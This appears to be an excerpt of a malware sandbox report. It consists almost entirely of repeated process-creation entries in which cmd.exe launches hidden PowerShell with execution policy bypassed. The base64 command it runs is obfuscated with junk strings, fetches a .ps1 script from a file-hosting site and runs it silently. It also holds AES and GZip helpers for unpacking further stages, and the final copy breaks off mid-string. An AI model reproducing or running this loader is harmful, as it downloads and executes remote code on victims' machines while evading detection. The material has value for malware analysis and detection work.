"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3J